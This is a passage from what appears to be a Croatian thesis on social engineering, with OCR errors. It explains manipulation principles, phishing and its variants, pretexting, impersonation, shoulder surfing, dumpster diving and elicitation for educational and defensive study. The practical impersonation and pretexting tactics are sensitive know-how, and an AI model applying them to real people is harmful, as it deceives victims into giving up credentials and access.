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1. UVOD

U danasnje vrijeme eksponencijalnog razvoja digitalnih tehnologija, stanovni$tvo svakim
danom postaje sve vise svjesnije sveobuhvatnih prijetnji rac¢unalnoj sigurnosti. Te prijetnje su
neovlasteno presretanje informacija, neovlasteno mijenjanje informacija, izlaganje podataka
neovlastenim osobama, te uniStavanje hardvera, softvera i/ili informacija za koje postoje

sigurnosne mjere zastite povjerljivosti, integriteta i dostupnosti. [1]

Najvecu prijetnju predstavlja nacin narusavanja racunalne sigurnosti koji zaobilazi ljudske
sposobnosti za obranu. Takvi nacini iskoristavaju najslabiju kariku ra¢unalnog sustava. To nije
niti hardver, niti softver, vec je to Covjek, te se upravo iskoristava prirodna ljudska sklonost
povjerenju. Neki autori dijele raCunalni sustav na tri dijela: hardver, softver i wetware ili ljudska
komponenta sustava. Vecina ljudi se fokusira upravo na prva dva dijela kako bi ih unaprijedili
1 zastitili najviSe $to je moguce. No, napada¢ moze zaobi¢i hardver i softver i vrlo lako prevariti
ljudsku komponentu. 1z toga se vidi da je ljudska komponenta postala vazan faktor u raCunalnoj

sigurnosti. [2]

Upravo zbog toga se istrazivanje racunalne sigurnosti prosirilo od Ciste tehnoloske orijentacije
do toga da se nastoji razumjeti i objasniti uloga ljudskog ponasanja i djelovanja u sigurnosnim

propustima. [1]

Cilj ovoga rada je detaljnije istraZiti upravo takve napade na racunalnu sigurnost, obuhvaceni
pod nazivom socijalni inZenjering, njegove metode 1 nacine napada, kao 1 mjere zastite, buduci
da je konstantno educiranje kljucna stavka u zastiti od socijalnog inZenjeringa. Dodatni cilj je 1
pokusati izvesti napad u kontroliranom okruzenju kako bi se pokazalo koliko je lako provesti
takve napade, budu¢i da su svi materijali sa uklju¢enim detaljnim uputama dostupni na
internetu. Cilj je pokazati kako se javno dostupnim alatima moze saznati lozinka Wi-Fi mreze
korisnika. Takoder, pokazati ¢emo kako se korisnik, odnosno njegov uredaj jednostavno moze
preusmjeriti ili povezati na Wi-Fi mrezu napadaca, te ¢emo pokazati koje sigurnosne

implikacije mogu nastati.

1.1. SOCIJALNI INZENJERING

Postoje brojne definicije i razli¢ita objaSnjenja socijalnog inZenjeringa.



Socijalni inzenjering je umjetnost izvlacenja povjerljivih informacija psiholoSkom
manipulacijom zrtve. To je strateski napad koji ovisi o ljudskoj interakciji, sloZzen sustav
prevara, koji izvla¢i od pojedinaca lozinke, podatke bankovnog racuna i slicno. [3] Naziva se
jo$ 1 znanost manipuliranja, netehnoloski nacin neautoriziranog pristupa informacijama ili
racunalnom sustavu. To je upotreba trikova, uvjeravanja, laznog predstavljanja, emocionalne

manipulacije i zloupotrebe povjerenja. [4]

Kombiniraju¢i sve te definicije mozemo jednostavno rec€i da je socijalni inZenjering, umjetnost
ili znanost vjeStog manevriranja osobom kako bi ona poduzela nekakvu radnju, koja moze, a i

ne mora biti u njenom najboljem interesu. [5]

Neki socijalni inzenjering vide kao jednostavnu prevaru za dobivanje besplatnih predmeta,
drugi kao alat kojeg koriste kriminalci ili prevaranti, dok trec¢i to smatraju znanosc¢u. Kako god
bilo, socijalni inzenjering se koristi svakodnevno, koriste ga obi¢ni ljudi u svakodnevnim
situacijama. Uzmimo za primjer dijete koje pokuSava dobiti slatkiSe, zaposlenika koji trazi
povisicu, ali nazalost i kada kriminalci 1 prevaranti pokusavaju navesti svoje zrtve na otkrivanje
informacija koje ih mogu uciniti ranjivima. Kao i svaki alat, socijalni inZenjering nije dobar ili

lo$, ve¢ samo alat koji ima mnogo razli¢itih primjena. [5]

Osnovni ciljevi socijalnog inzenjeringa su isti kao i kod hakiranja opcéenito: dobivanje
neovlastenog pristupa sustavu ili informacijama kako bi se pocinila prevara, upad u mrezu,

industrijska Spijunaza, krada identiteta, ili kako bi se jednostavno narusio sustav ili mreza. [6]

Kevin Mitnick, nekada jedan od najpoznatijih hakera, a danas poznati americki stru¢njak za
ra¢unalnu sigurnost, otkrio je da ljudi, kada im se postavi pitanje na pravi nacin, lakSe pruzaju
potrebne odgovore. Socijalni inZenjering uspijeva upravo zbog toga Sto ljudi funkcioniraju na
nacin da vjeruju da su svi ostali s kojima komuniciraju uglavnom iskreni. Postavljaju¢i naizgled
neduzan zahtjev na nacin koji se tada ¢ini sasvim razumnim, napada¢ moze prikupiti upravo

informacije koje mu trebaju. [4]

1.2. OBRASCI PROVEDBE NAPADA

lako je svaki napad socijalnim inzenjeringom druk¢iji od drugog i svaki je jedinstven na svoj

nacin, postoje nekakvi uobicajeni obrasci koji se nalaze u svakom od tih napada. Ti se obrasci



mogu podijeliti u Cetiri faze koje su prisutne u svakom od njih: prikupljanje podataka, razvoj

odnosa, iskoriStavanje i provedba. [7]

1.

1.3.

Prikupljanje podataka: U prvoj fazi se identificira zrtva ili Zrtve skupljajuci razlicite
podatke o njima iz razli¢itih izvora, $to moze biti kroz javne dokumente, ciljanu web-
stranicu, fizicku interakciju i dr. Prikupljanje podataka je nuzno kada se napada
pojedinacna zrtva. [8] Jednom prikupljene informacije se mogu iskoristiti za daljnji
razvoj odnosa sa zrtvom ili s bilo kim drugim koji moze dovesti do uspjesno provedenog
napada. Neki od podataka koji su potrebni za daljnje napade su: telefonski imenik,
datumi rodenja, organizacijski grafikoni i dr. [9]

Razvoj odnosa: U drugoj fazi slijedi uspostaviti odnos sa zrtvom kako bi se zapoceo
razgovor ili bilo koji drugi nacin kako bi se §to viSe otkrilo o samoj Zrtvi. Razvijajuci
taj odnos napadac se postavlja u polozaj od povjerenja kojeg ¢e u daljnjem tijeku napada
iskoristiti. [8]

Iskoristavanje: Treca faza ima za glavni cilj uspostaviti §to jacu vezu izmedu napadaca
i Zzrtve kako bi nastavili dijalog ¢ime bi se prvotni plan pribliZio §to vise cilju. Zrtva
moze biti toliko izmanipulirana od strane ,,pouzdanog’ napadaca da otkrije npr. lozinku
ili da izvrsi neku radnju. S ovom fazom moze zavrsiti napad, ili dovesti do sljedece faze,

a to je provedba prvotnog glavnog napada. [9]

Provedba napada: Posljednja faza je provedba samog finalnog napada. Nakon §to Zrtva

ispuni sve zadatke napadaca, provedeni napad je gotov. [8]

DVA TIPA NAPADA: USMJERENI NA OSOBE TE PREKO

TEHNOLOGIJA

U napadu usmjerenom na osobe napada¢ direktno komunicira sa Zrtvom s ciljem dobivanja

osjetljivih informacija. U ovakvom tipu napada broj Zrtvi je ograni¢en buduci da postoji manje

nacina i moguénosti da napad obuhvati veci broj zrtava u usporedbi napadom koji se provodi

koriste¢i se nekim oblikom tehnologije. Napadi preko tehnologija se izvode uz pomo¢ razlicitih

sustava, racunala, mobilnih uredaja i sli¢no, te se koriste razli¢itim softverima za dobivanje

zeljenih informacija. [7]



1.4. DVA PRISTUPA NAPADU: FIZICKI I PSIHOLOSKI

Napadaci imaju dva osnovna pristupa napadu, fizicki i psiholoski.

Fizi¢ki pristup ukljucuje nekakav oblik djelovanja kojeg napadac izvodi da bi najcesce prikupio
podatke o zrtvi. Na primjer tu spada radno mjesto, kada napadac¢ jednostavno useta u nekakvu
tvrtku ili organizaciju 1 pretvara se da je radnik na odrzavanju ili nekakav konzultant koji ima
pristup toj zgradi. Kada uspije u¢i unutar zgrade i ureda jednostavno trazi informacije koje u
tom trenutku moze pronacéi, a koje su mu potrebne. [6] Napadaci takoder jednostavno nazovu
odredenu tvrtku i metodom uvjeravanja izvuku lozinke korisnika. lako se takve metode Cine
pomalo smije$nima, zapravo su izuzetno u¢inkovite, te olakSavaju napade koji se ne bi mogli

provesti na nekakav drugi nacin. [10]

Tehnicki pristup mozemo svrstati kao podvrstu fizickog pristupa. Najcesée se napadi izvode
preko interneta, gdje su drustvene mreZe postale vazan izvor podataka. Postoje i razli¢iti alati i

softveri koji omogucuju skupljanje i sistematiziranje svih podataka sa razli¢itih web-stranica.

[7]

Psiholoski pristup spada u najvazniji aspekt uspjeSno provedenog napada socijalnim
inZenjeringom. Kako bi povecali Sanse za uspjeh, napadaci pokusavaju razviti odnos s Zrtvom
oslanjajuéi se na socio-psiholoske tehnike. [7] Napadaci ¢esto pokuSavaju utjecati na zrtve na
nacin da izazivaju jake emocije kod njih, kao §to su strah ili uzbudenje, takoder pokuSavaju

uspostaviti prijateljski odnos sa Zrtvom i stvoriti osjecaj povjerenja i privrzenosti. [1]
Napadaci se oslanjaju na prirodne ljudske osobine i sklonosti, kao $to su:

e Autoritet: ljudi imaju sklonost izvrSavanju zahtjeva ukoliko ih postavi osoba koja im je
nadredena, odnosno ukoliko vjeruju da je podnositelj zahtjeva osoba koja ima autoritet,
ili koja je autorizirana postaviti takve zahtjeve. Primjer takvog napada je kada se
napada¢ pokusava maskirati u osobu s autoritetom iz IT odjela. [11] Autoritet se moze
koristiti i1 za izazivanje straha, kada ljudi u strahu slusaju zapovijedi kako bi izbjegli
negativne posljedice kao Sto su gubitak privilegija ili neCega od vrijednosti, kako bi
izbjegli kaznu, ponizenje ili osudu. Napadaéi se oslanjaju upravo na strah od
autoritativne naredbe. No, neki ljudi na autoritet reagiraju skepti¢no i pokusavaju mu se

oduprijeti. Kada se napadaci koriste autoritetom kako bi izazvali strah ili prijetnju, oni
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koji poslusnije reagiraju na autoritet ¢e prije izvrSiti napadaceve zahtjeve od onih koji
su skepti¢niji i prkosniji. [1]

Svidanje: ljudi su skloni izvrSavanju zahtjeva ukoliko se podnositelj zahtjeva
prezentirao kao simpati¢na osoba, koja ima sli¢ne interese, vjerovanja ili stavove kao i
zrtva. Kroz razgovor, napadac uspijeva nauciti viSe o hobijima ili interesima zrtve, zatim
se pretvara da dijele te iste hobije ili interese. Pokus$at ¢e oponasati svoju Zrtvu kako bi
Sto vise stvorio izgled sli¢nosti. [11]

Ljudi imaju sklonost izvrsavanju zahtjeva kako bi se svidjeli onima koji se njima
svidaju. Stoga napadaci pokuSavaju ste¢i povjerene uspostavljanjem prijateljskog
odnosa sa zrtvom. Ljudi uobi¢ajeno vjeruju onima koji im se svidaju, i obrnuto, svidaju
im se oni kojima vjeruju. Vjeruju u one koje percipiraju kao vjerodostojne zbog njihove
struénosti ili sposobnosti. Na primjer, ljudi mogu biti uvjereni od strane poznatog
glumca ili kosarkaskog igraca da kupe nekakve uredaje, odredenu hranu ili neSto samo
zato $to im se ta osoba svida. [1]

Reciprocitet: ljudi automatski udovoljavaju zahtjevu kada im je obe¢ano nesto zauzvrat.
Taj dar moze biti materijalna stvar, savjet ili pomo¢ oko necega. Kada netko ucini nesto
za drugoga, taj osjeca potrebu da mu uzvrati tu uslugu. Jedan od najucinkovitijih na¢ina
da se utjece na ljude da udovolje zahtjevu jest dati nekakav dar ili pomo¢ koji stvara
uzvratnu obvezu. Primjer takvog napada je kada zaposlenik neke organizacije primi
poziv od osobe koja tvrdi da radi u IT odjelu te organizacije. Pozivatelj objasnjava kako
su racunala u cijeloj organizaciji zaraZena virusom koji antivirusni program nije
prepoznao te da moze unistiti sve datoteke na zaraZzenom racunalu. Zrtvi ponudi da ée
joj pomo¢i proci kroz sve korake kako bi se sprijecila Steta. Nakon odredenih koraka,
upozori zaposlenika da mora promijeniti i lozinku, te mu se ponudi da mu on to sve
rijesi, a zaposlenik ga ne odbija, buduéi da smatra da je on upravo taj za kojeg se
predstavlja te mu vjeruje i dopusta promjenu lozinke zbog dosadasnje pomo¢i. [11]
Odanost/Dosljednost: Odanost se definira kao stav koji vodi do upornog djelovanja i
prilicno je stabilna ljudska osobina. Odanost moZemo podijeliti na viSe tipova odanosti
temeljeno na situaciji i ciljanoj Zrtvi. Normativna odanost dolazi iz reciprocne razmjene
sa zrtvom, gdje ¢e netko uloziti joS veci napor i izvrSiti radnju zbog toga Sto je to
uobicajeno ili ima obvezu prema tom. U smislu informacijske sigurnosti, ljudi ¢e
ponekad otkriti povjerljive podatke onima za koje se osjecaju obavezni zbog svoje

odanosti. Dugotrajna odanost je proizvod percepcije ulaganja, npr. novca, vremena i
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truda, gdje s prekidom te aktivnosti moze do¢i do nekakvog gubitka ili troSka. Ljudi su
donijeli svoju odluku, i odrzavaju svoju dosljednost u tu odluku. Emocionalna odanost
uzrokuje da ljudi ulazu napor i poduzimaju radnje u zamjenu za zadovoljstvo koje
proizlazi iz emocionalnih veza sa ciljem. [1]

Kod dosljednosti rije¢ je da ljudi imaju sklonost da nakon §to su obecali da ¢e nesto
napraviti, ustraju u svom naumu, kako ne bi ispali nepouzdani. Najbolje je ovu osobinu
objasniti na primjeru, napada¢ kontaktira relativno novog zaposlenika i savjetuje ga
kako da se pridrzava sigurnosnih pravila i postupaka. Nakon raspravljanja o nekoliko
sigurnosnih pravila, napadac zatrazi od korisnika lozinku kako bi potvrdio da li se radi
o lozinci koja je lagana ili teska za probiti. Kada mu otkrije svoju lozinku, napada¢ mu
daje razliite savjete i preporuke za buduéu lozinku koja ée biti teZa za probiti. Zrtva
prati njegove upute i zbog prethodnog obecanja da ¢e se pridrzavati pravila stvara novu,
tezu lozinku te ju prosljeduje napadacu kako bi ovaj provjerio da li je u skladu sa
sigurnosnim pravilima. [11]

Drustvena prihvacenost: ljudi imaju tendenciju da ispune zahtjev ukoliko misle da to
rade i drugi. Radnje drugih su prihvaéene kao potvrda da je njihovo ponasanje to¢no i
odgovarajuce. Primjer je kada se napadac predstavlja da provodi anketu i navodi sve
zaposlenike koji su sudjelovali u anketi. Zrtva, vjerujuéi da su i drugi napravili anketu,
pristaje sudjelovati. Napada¢ u takvom slu¢aju mozZe postaviti niz pitanja i izvuci
potrebne podatke iz zrtve. [11]

NestaSica: ljudi su skloni ispunjavanju zahtjeva kada vjeruju da je traZeni objekt tesko
za pronaci te da se i drugi natjeCu za njega ili je dostupan samo u kratkom periodu
vremena. Primjer je kada napadac poSalje email navodeci da ¢e prvih 500 zaposlenika
koji se registriraju na novu web-stranicu organizacije osvojiti kino ulaznice za novi film.
Zaposlenici koji ne sumnjaju u istinitost maila se registriraju, tako $to navedu korisnicko
ime 1 lozinku, a napadac to iskoristi za svoj daljnji naum. [11]

Zelja da budu od pomodéi: nastoji se uvijek da je korisnik zadovoljan. Najbolji na¢in za
dobru ocjenu poslovanja je da korisnici dobiju dobre odgovore od onih koji im trebaju
pomoci, a to moze dovesti do otkrivanja previse informacija. [12]

Sklonost povjerenju: u ljudskoj je prirodi da se vjeruje drugoj osobi sve dok ova ne
pokaze suprotno. Ukoliko se napadac¢ predstavi kao osoba od povjerenja, zrtva

uglavnom prihvaca tu ¢injenicu, ne sumnjajuci u nju. [12]



Nedovoljno povjerenje moze rezultirati paranojom, nepotrebnom napetos¢u, dok s
druge strane pretjerano povjerenje moze dovesti do prevare, smanjene u¢inkovitosti i
nesposobnosti. Napadaci koriste razli¢ite tehnike kako da postignu povjerenje kod Zrtve,
npr. izigravaju usamljenost, potrebu za prijateljstvom, stvarju osjecaj slicnosti s
potencijalnom zrtvom, a sve kako bi se steklo povjerenje. [1]

e Strah od upadanja u nevolju: ljudi se boje negativne reakcije nadredenih ukoliko npr.
provjera identiteta odredene osobe traje malo dulje vrijeme ili se odredeni sluzbenik na
to uvrijedi, pa se Cesto znaju dogoditi i propusti u tom pogledu; [12]

e PreCicom do rjeSenja: ¢esto su ljudi lijeni pa tako lozinke ostavljaju na papiricu kraj

kompjutera ili nekakve vazne materijale ostavljaju na vidljivom mjestu. [12]

Najuspjesniji napadi su kada se kombiniraju svi pristupi zajedno. Najbolji primjer je kada
napadaci iskoriStavaju ljudsku znatizelju pa ostave USB sa malicioznim softverom na njemu,
na mjestu gdje ¢e ga Zrtva uocCiti, a njezina znatizelja potaknuti da ga pokrene na svojem
racunalu 1 na taj nacin zarazi racunalo virusom koji je na tom USB-u. Rije¢ je o kombinaciji

fizicko-tehnickog pristupa, te psiholoskog. [7]

1.5. TEHNIKE NAPADA

Tri su razlicite tehnike socijalnog inZenjeringa:

1. uvjeravanje: pokusaj da Zrtva udovolji neprikladnom zahtjevu, da ucini nesto $to nije po
pravilima. Na primjer, kada napadac traZi korisni¢ko ime i lozinku predstavljajuci se
kao ovlastena osoba smatra se da to spada pod dimenziju uvjeravanja. Pod ovim se
smatra da se odredene psiholoske karakteristike iskoriStavaju, kao Sto su lijenost,
povjerenje, strah, pohlepa. [13]

Najbolji primjer iz svakodnevnog zZivota su politicke kampanje, zatim reklamne poruke
koje tjeraju na kupnju necega Sto 1 nije potrebno 1 na Sto potrosaci nisu mislili potrositi
Svoj novac. Sposobnost uvjeravanja se smatra najvaznijom karakteristikom koju

napadaci socijalnog inzenjeringa mogu posjedovati. [2]

Postoje dvije metode uvjeravanja: direktna metoda i sekundarna, odnosno indirektna

metoda. U direktnoj metodi napadaéi jednostavno pitaju Zrtvu za informacije. Cesto
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ovakav nacin i ne funkcionira, no ukoliko ne prode na ovaj nacin, napadac se sprema za
sistemati¢ni pristup kako bi dobio §to zeli. Ulazu svoje vrijeme kako bi razvili odnos sa
zrtvom te na taj nacin dobili informacije. U sekundarnoj metodi napadaci ce
potencijalnu zrtvu uciniti osjetljivom, tako Sto ¢e ve¢ na samom pocetku zrtvi izazvati

nekakvu snaznu emociju poput straha ili uzbudenja. [12]

2. prevara/izmis$ljanje: ova tehnika nije da utjeCe na Zrtvine stavove, uvjerenja, odnosno
da iskoriStava njezine karakteristike i izravno ju nasamari, ve¢ da stvara laznu ulogu
napadaca te laznu situaciju. U usporedbi s uvjeravanjem, ova tehnika je viSe obmanljiva
1 manje uocljivija iz perspektive zrtve. Takoder, prevara/izmisljanje ne dovodi izravno
u iskusenje ili postavlja zahtjeve, ve¢ napada¢ preuzima ulogu kameleona koji moze

mirno i potiho obavljati svoj napad, a da ga nitko ne primijeti. [13]

-----

razlog je upravo zbog Zelja zaposlenika da budu prikazani u najproduktivnijem svijetlu
te da se iskazu pred svojim nadredenim. Najopasniji slucaj prevare i izmiSljanja je kada
se napadac¢ maskira u osobu iz tehnicke podrske, jer zrtve imaju dozu povjerenja u njih,
te mu daju podatke bez da posumnjaju u identitet tehni¢ara. Takoder, pretvaranje kao
novi zaposlenik je vrlo opasna situacija, budu¢i da su ljudi skloni pomo¢i

novopridoslom kolegi, te na taj na¢in dovesti cijelu organizaciju u opasnost. [2]

3. prikupljanje podataka: svaki napad zahtjeva odredeno znanje o meti napada.
Prikupljanje podataka prije samog napada je jedan od vaznijih dijelova socijalnog
inzenjeringa. Koriste se tehnike kao Sto su open source informacije, surfanje preko

necijeg ramena, phishing napadi, prisluskivanje i dr. [13]

Svaka od ovih tehnika se rijetko kad dogada samostalno sama za sebe, ve¢ je viSe vjerojatno da
¢e se tehnike od svake primjenjivati simultano. Na primjer, napadacev zahtjev sluzbi za podrSku
da mu se dodijeli nova lozinka, iako nema korisnicko ime ili ID, te pri¢a da ¢e upasti u probleme
ako ne pristupi svom emailu $to prije, spada u uvjeravanje, ali i u prevaru/izmisljanje. Tehnika

prikupljanja podataka je ve¢ obavljena prije samog zahtjeva. [13]



2. NACINI IZVRSAVANJA NAPADA
2.1. PHISHING NAPADI

Phishing napadi nastoje pristupiti vaznim informacijama, kao §to su korisnicko ime, lozinka ili
bankovni podaci, predstavljajuci se kao vjerodostojan entitet u elektronickoj komunikaciji. U
takvim napadima, kako bi povecali vjerojatnost uspjeha, napadaci pokusavaju predstaviti sebe
na nain da im zrtva povjeruje i prihvati ih kao vjerodostojne entitete, kao Sto je na primjer
banka. Napada¢ uglavnom svoj plan zapoc¢inje izradom web-stranice koja izgleda potpuno isto
kao i originalna stranica, no s razlikom u URL putanji. Glavni cilj phishing napada je iskoristiti
laznu vezu koja se posalje naj¢es¢e putem emaila, koji sadrzi poveznicu na bankovnu stranicu
ili neku drugu ustanovu. Napada¢ nastoji iskoristiti stranice koje su privla¢ne Zrtvi i koje ¢e joj
okupirati paznju. Kada se Zrtva spoji, nastoji izvuci sve podatke koji ¢e mu biti potrebni da

izvrsi svoj napad do kraja. [14]

Phishing napadi se provode na razli€ite nacine, jedan od njih je i manipulacija URL nizom. Na
primjer, poveznica ,http://www.mojabanka.primjer.com, zapravo vodi na web-Stranicu
,primjer.com® na odjeljak ,,mojabanka‘®, a zrtva bi klikom na takvu poveznicu pomislila da ¢e
pristupiti stranici ,,mojabanka.com®, odjeljak ,,primjer*. Takoder, upotrebom sidra unutar URL
niza, zrtvu se usmjeri na laznu  stranicu. Na  primjer,  poveznica
Hhttp://hr.wikipedia.org/wiki/Primjeri* izgleda kao da ¢e korisniku usmjeriti na c¢lanak
»Primjeri®, ali klikom na nju preusmjerava nas na neku drugu stranicu. Postoje razli¢iti nacini
manipulacije poveznicama i preusmjeravanja na lazne web-stranice, no moguce je provesti i
phishing napade na nacin da se zrtvi posalje lazni email, koji ga upuéuje da nazove odredeni
broj, a kada nazove, Zrtva misli da je u kontaktu sa svojom bankom ili nekim drugim
vjerodostojnim entitetom, te moZze biti prevarena pa otkriti povjerljive informacije.

Moguce je zrtvu navesti 1 na originalnu web-stranicu, no upotrebom sko¢nih prozora (eng. pop-

up windows) navesti ju da upise svoje korisni¢ko ime i lozinku. [15]

Postoji nekoliko potkategorija phishing napada, kao $to su:
1. Vishing napadi
Vishing napad je napad iskoriStavanjem VoIP tehnologije, koja omogucuje prijenos
zvuéne komunikacije preko interneta. Sam termin ,,vishing” je kombinacija rijeci
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,voice® 1 ,,phishing®. [16] Ovakav tip napada je privlacan napadafima zbog raznih
razloga, kao §to je moguénost obavljanja poziva bilo kojem telefonskom broju s bilo
kojeg dijela svijeta, moguénost prevare laznim predstavljanjem, niske cijene poziva i

dr. [17]

2. Spear phishing napadi
Spear phishing napadi su identi¢ni phishing napadu s razlikom da se cilja to¢no jedan
pojedinac, ili tocno odredena organizacijama. Uglavnom nisu pokrenuti od strane
nasumicnih hakera, ve¢ napadaca koji ciljaju na financijsku dobit, otkrivanje poslovnih
tajni ili nekakvih vojnih informacija. Za razliku od phishing napada, napadaci spear
phishingom prethodno prikupljaju informacije o ciljanoj zrtvi. Te se informacije koriste

za personalizaciju napada. [18]

3. Pharming napadi
Pharming napad preusmjerava sav promet usmjeren nekoj ranjivijoj web-stranici na
drugu, laznu web-stranicu, te putem te laZne stranice ostvaruje pristup racunalu i

podacima. [19]

4. Smishing napadi
Smishing napad se provodi putem SMS poruka preko mobilnog uredaja kako bi se na
uredaju ostavio mamac te otkrili osobni podaci. U danasnje vrijeme pametnih telefona,
kada vec¢ina mobilnih uredaja ima brzu internetsku vezu, smishing napadi imaju iste

rezultate kao da se izvodio klasi¢an phishing napad putem emaila. [20]

2.2. STVARANJE SCENARIJA (eng. PRETEXTING)

¢e ciljana zrtva otkriti informacije ili izvrSiti radnje koje vjerojatno i ne bi u obi¢nim
okolnostima. Sofisticirani primjer pretexting napada je obrnuti socijalni inzenjering. Rijec je o
nacinu kada napadac stvara scenarij u kojem je on izvor informacija koje zrtvi trebaju, te ona
pristupa napadacu. [3] Napada¢ stvori scenarij gdje je on osoba koju ¢e zaposlenici pitati za
odredene informacije. Ukoliko je dobro istrazio i pripremio se, napada¢ reverznim socijalnim
inZenjeringom ima povecane Sanse za dobiti potrebne informacije od zaposlenika. Tri su dijela
reverznog socijalnog inzenjeringa: sabotaza, oglasavanje 1 pomaganje. Najbolji primjer je

sljedece: napada¢ sabotira mrezu odredene organizacije, $to prouzrokuje problem. Zatim se
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oglasi kao odgovarajuca osoba za rjeSenje tog problema, a zatim kada dode popraviti problem
zahtjeva odredene informacije od zaposlenika i tako dobije ono $to je otpocetka i Zelio, a
zaposlenici i organizacija nikada ni ne saznaju da je bila rije¢ o napadu, jer im je mreza stvarno
popravljena. [6]
Pretexting je viSe od samog stvaranja lazi, u nekim se sluajevima stvore potpuno novi
identiteti, koji se zatim koriste u manipulaciji za dobivanje informacija. Ovakva vrsta napada
ne znaci da napadac¢ mora smisliti samo jedan scenarij u jednom napadu, potrebno je da stvara
razliCite scenarije kako bi pokrio sva podrucja i uspjesnije izveo napad. Za uspjesno stvaranje
scenarija potrebno je dobro istrazivanje i prikupljanje podataka kako bi se mogao napraviti
kvalitetan scenarij. Na primjer, imitiranje tehnic¢ke podrske nema smisla, ukoliko ciljana zrtva
ne koristi vanjsku tehnicku podrsku. Za dobru provedbu scenarija, napadac treba prethodno
provesti puno vremena vjezbajuci i usavrSavajuci svoju ulogu. Slijedeca nacela ¢ine sustinu
pretexting napada:

e Sto se viSe prethodnog istrazivanja napravi veéa je vjerojatnost uspjesno provedenog

napada,

e koriste se dijalekti i izrazi za odredenu sredinu gdje se napad provodi,

e $to je scenarij jednostavniji, veca je vjerojatnost uspjeha,

e scenarij se treba pojaviti spontano,

e treba se pruziti logi¢an zakljucak. [5]

2.3. IGRANJE ULOGE

Jedan od uobicajenijih napada socijalnim inZenjeringom je stvaranje, odnosno upotreba laZznih
ovlasti. To moze biti jednostavno tiskanje krivotvorenih posjetnica, krivotvorenih
identifikacijskih kartica ili znacki. U danas$nje vrijeme postalo je prelagano do¢i do alata i
softvera za ovakve namjene. Napada¢ ne mora uvijek stvoriti skroz realne lazne kartice ili
znacke, ukoliko moZe dobro iznijeti pricu koja ide s tim. Jedan od stvarnih primjera je kada je
napadac stvorio jednostavnu znacku sa simbolom za recikliranje na zelenoj plasticnoj podlozi.
Uputio se u ciljanu organizaciju kao predstavnik inspekcije za provjeru o recikliranju. Kada su
ga zaStitari zaustavili, predstavio se kao inspektor te da bi organizacija mogla dobiti kaznu zbog
nepropisnog recikliranja. Zbog straha od kazne, organizacija je od tada svaki dan odvajala papir
od ostatka smeca, a napadac je svaki dan skupljao taj papir, te ga iS¢itavao i trazio informacije

koje su njemu bile potrebe za buduci napad. Njegov napad je bio toliko uspjeSan da je mogao
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do¢i 1 otici iz organizacije kad je god pozelio, buduci da se osoblje naviklo da ga svakodnevno
vidi. [21]

Oponasanje dostavljaca predstavlja jedan od napada igranja uloge. Efektivan je, jednostavan
napad, no najtezi dio je upravo dobivanje potvrde o ovlasti i isprava kako bi napadac uvjerio
druge osobe da je on vjerodostojni entitet. Za uspjesno provodenje ovakvog tipa napada,
napada¢ mora dobro poznavati tko i kada vr$i dostavu u ciljanu organizaciju, pribaviti sve
isprave, dokumente, uniformu dostavljaca, odrediti vrijeme napada kako bi se mimoiSao sa
stvarnim dostavljaem te naravno, pridobiti povjerenje zaposlenika. Slicna je stvar i1 sa
provodenjem napada tehnic¢ke podrSke. Napadac nastoji zavarati zaposlenike tehnicke podrske

ciljane organizacije kako bi dobio pristup mreznim resursima i racunalima organizacije. [15]

2.4. SURFANJE PREKO RAMENA

Ovakav nacin napada ukljucuje napadaca koji jednostavno potajno gleda dok zZrtva upisuje
svoje korisni¢ko ime i lozinku. Napada¢ se nakon toga moze jednostavno vratiti poslije i
prijaviti se kao korisnik u sustav, te ga na taj nacin ugroziti. Razvoj prijenosnih racunala te
bezicnih mreza dovelo je do toga da vecina ljudi koristi kafice, restorane i zra¢ne luke, kao
mjesta na kojima mogu nesmetano obavljati svoj posao. No, jednostavnim pronalaskom
pozicije u kojem moze promatrati zrtvu, napada¢ moze prikupljati informacije koje mu mogu
koristiti u budu¢im napadima. Druga varijanta ovog na¢ina napada je jednostavno slusati javne
razgovore izmedu zaposlenika, budu¢i da ljudi ¢esto raspravljaju o osjetljivim 1 povjerljivim
informacijama na javnim mjestima poput restorana uz pretpostavku da ih nitko ne slusa,

odnosno ne obra¢a paznju na njih. [21]

2.5. KOPANIJE PO SMECU

Ovaj nacin napada spada medu najdraze nacine napada¢ima. Rijec je o oslanjanju na ¢injenicu
da vecina ljudi ne razumije vrijednosti informacija kojih se rjeSavaju. Vecina zaposlenika i ne
razmiSlja kada bace npr. telefonski imenik organizacije. Napada¢ moZe pronaci taj telefonski
imenik i iskoristiti ga za lazno predstavljanje putem telefona, buduci da sada ima sve telefonske
brojeve i imena koji su vazni za organizaciju. U smecu se takoder pronadu osjetljive i
povjerljive informacije, poput organizacijskih grafikona, biljeski, kalendari sastanaka,
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dogadanja i odmora, imena ili lozinke za prijavu i sl. KoriStenjem informacija koje pronade u
njima, napadac¢ moze iskoristiti za svoje buduce napade na ciljanu organizaciju. Najbolja praksa

organizacijama bi bila da se svi papirnati proizvod uniSte, umjesto da se bace. [21]

2.6. NAPAD IZMAMLIJIVANJEM

Izmamljivanje suptilno izvla¢i potrebne informacije tijekom na prvi pogled normalnog
razgovora. Izmamljivanje moze ukljucivati prethodno smisljen scenarij ili pricu kako bi se
objasnilo zasto se odredena pitanja uopce postavljaju. Neki napori za izmamljivanje mogu biti

prili¢no agresivni, mastoviti ili ukljucivati opsezno planiranje. [22]

Biti u stanju ucinkovito koristiti napad izmamljivanjem zna¢i da napada¢ moze oblikovati
pitanja koja privlace ljude 1 potic¢e da se krenu ponasati na nac¢in na koji napadac upravo i zeli.
Napadaci unaprjeduju svoje vjestine izmamljivanja preoblikujuéi svoje rijeci i pitanja, a samo
istrazivanje, odnosno prikupljanje podataka moze dovesti do toga da Zrtva odgovara na sva

pitanja i zahtjeve koje joj se postave. [zmamljivanje funkcionira zbog viSe razloga:

e vecina ljudi ima potrebu biti pristojna, posebno prema strancima,
e ukoliko neka osoba primi pohvalu ili kompliment, vi$e ¢e Se upustiti u razgovor s tom
osobom, a samim tim i otkriti viSe informacija,

e vecina ljudi reagira ljubazno ukoliko se druga osoba pokaze zanimanje ili zabrinutost

za njih. [5]

Kao 1 kod svakog napada, prethodno prikupljanje informacija je klju¢no za uspjeh samog
napada. Vrlo vazni aspekt kod provodenja izmamljivanja su izrazi lica tijekom razgovara.
Ukoliko su napadaceve rije¢i mirne i Zrtva se aktivirala u razgovoru, a sam govor tijela
napadaca ili njegovi izrazi lica su nezainteresirani, to moze utjecati na raspoloZenje Zrtve, a da

ona to i ne primijeti. [5]

2.7. MAMAC

Mamac je vrsta napada sli¢na Trojanskom konju, a moze koristiti fizicke medije poput USB-a,

